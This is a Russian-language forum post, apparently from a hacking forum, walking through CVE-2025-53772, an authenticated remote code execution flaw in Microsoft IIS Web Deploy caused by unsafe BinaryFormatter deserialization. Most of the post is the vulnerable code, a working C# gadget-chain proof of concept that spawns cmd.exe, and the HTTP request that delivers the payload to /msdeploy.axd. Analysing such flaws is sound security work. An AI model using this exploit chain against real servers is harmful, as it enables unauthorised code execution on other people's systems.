• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2025-53772 в IIS WebDeploy: RCE через десериализацию

cvve

CD-диск
Пользователь
Регистрация
10.05.2025
Сообщения
15
Реакции
9
CVE-2025-53772 это критическая уязвимость удаленного выполнения кода (RCE), обнаруженная в Microsoft Web Deploy (msdeploy), инструменте для развертывания веб-приложений и служб IIS. Уязвимость связана с небезопасной десериализацией данных в заголовках HTTP и позволяет аутентифицированному пользователю выполнить произвольный код на целевом сервере. Эта уязвимость была раскрыта 12 августа 2025 года и имеет оценку CVSS 8.8
Уязвимость существует в двух компонентах Web Deploy:

msdeploy.axd (через Web Management Service, WMSvc)
msdeployagentservice (агентская служба Web Deploy) .

Процесс атаки начинается с того, что отправляется специально сконструированный HTTP-запрос к уязвимому серверу. Ключевым элементом атаки является заголовок MSDeploy.SyncOptions.

Этот заголовок содержит вредоносную полезную нагрузку, которая представляет собой:

  1. Сериализованные данные, преобразованные в формат Base64 (для корректной передачи в текстовом виде HTTP-запросов).​
  2. Сжатые с помощью алгоритма GZip (для уменьшения размера и обхода возможных проверок).​
Когда уязвимый сервер Microsoft Web Deploy получает такой запрос, он выполняет следующую последовательность опасных действий:

  1. Декодирование из Base64: Сервер извлекает значение заголовка MSDeploy.SyncOptions и преобразует его из строки Base64 обратно в бинарный формат.​
  2. Декомпрессия GZip: Полученные бинарные данные затем распаковываются с использованием GZip-декомпрессии.​
  3. Небезопасная десериализация: Наиболее критичный этап. Распакованные бинарные данные передаются напрямую методу BinaryFormatter.Deserialize() без какой-либо предварительной проверки.


Ключевая проблема заключается в использовании BinaryFormatter без строгой проверки типов.
Простой пример кода:
C#:
public static object Deserialize(string str, out Exception handledException) {
    handledException = null;
    BinaryFormatter binaryFormatter = new BinaryFormatter(); // [1]
    byte[] array = Convert.FromBase64String(str); // [2]
    object obj;
    try {
        obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
    } catch (SerializationException ex) {
        handledException = ex;
        binaryFormatter.Binder = new Base64EncodingHelper.HandleMissingExceptionTypesSerializationBinder();
        obj = Base64EncodingHelper.DeserializeHelper(binaryFormatter, array);
    }
    return obj;
}


private static object DeserializeHelper(BinaryFormatter formatter, byte[] buffer) {
    object obj;
    using (MemoryStream memoryStream = new MemoryStream(buffer)) {
        using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) { // [3]
            obj = formatter.Deserialize(gzipStream); // [4]
        }
    }
    return obj;
}
Как видно из кода:

  1. Создается экземпляр BinaryFormatter .
  2. Входные данные декодируются из Base64 .
  3. Декодированные данные декомпрессируются с помощью GZip .
  4. Декомпрессированные данные десериализуются с помощью BinaryFormatter.Deserialize() без проверки типов

PoC:
C#:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;


namespace hawktraceiis {
    class Program {
        static void Main(string[] args) {
            Delegate da = new Comparison<string>(String.Compare);
            Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
            IComparer<string> comp = Comparer<string>.Create(d);
            SortedSet<string> set = new SortedSet<string>(comp);
            set.Add("cmd.exe");
            set.Add("/c calc");
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = d.GetInvocationList();
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(d, invoke_list);
            using (MemoryStream stream = new MemoryStream()) {
                BinaryFormatter formatter = new BinaryFormatter();
                formatter.Serialize(stream, set);
                using (MemoryStream compst = new MemoryStream()) {
                    using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress)) {
                        stream.Position = 0;
                        stream.CopyTo(gzipStream);
                    }
                    string gzb4 = Convert.ToBase64String(compst.ToArray());
                    Console.WriteLine(gzb4);
                }
            }
        }
    }
}

Этот код создает вредоносный сериализованный объект SortedSet<string>, который при десериализации запускает процесс cmd.exe /c calc. Для эксплуатации отправляется HTTP-запрос к конечной точке /msdeploy.axd с вредоносным заголовком MSDeploy.SyncOptions:
HTTP:
POST /msdeploy.axd HTTP/1.1
Host: msdeploy.webserver.com
MSDeploy.RequestId: 1
Content-Type: application/msdeploy
MSDeploy.Method: Sync
MSDeploy.SyncOptions: H4sIAAAAAAAAA...[Сгенерированная полезная нагрузка]
Content-Length: 0

Источники:
  1. HawkTrace — Детальный технический анализ уязвимости, включая код и PoC.
  2. NIST NVD — Официальная запись об уязвимости в Национальной базе данных уязвимостей США.
  3. JavaScript in Plain English — Обзор уязвимости, ее значимости и стратегии смягчения.
  4. CyberPress — Еще одна статья, подробно разбирающая технические детали и этапы эксплуатации.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх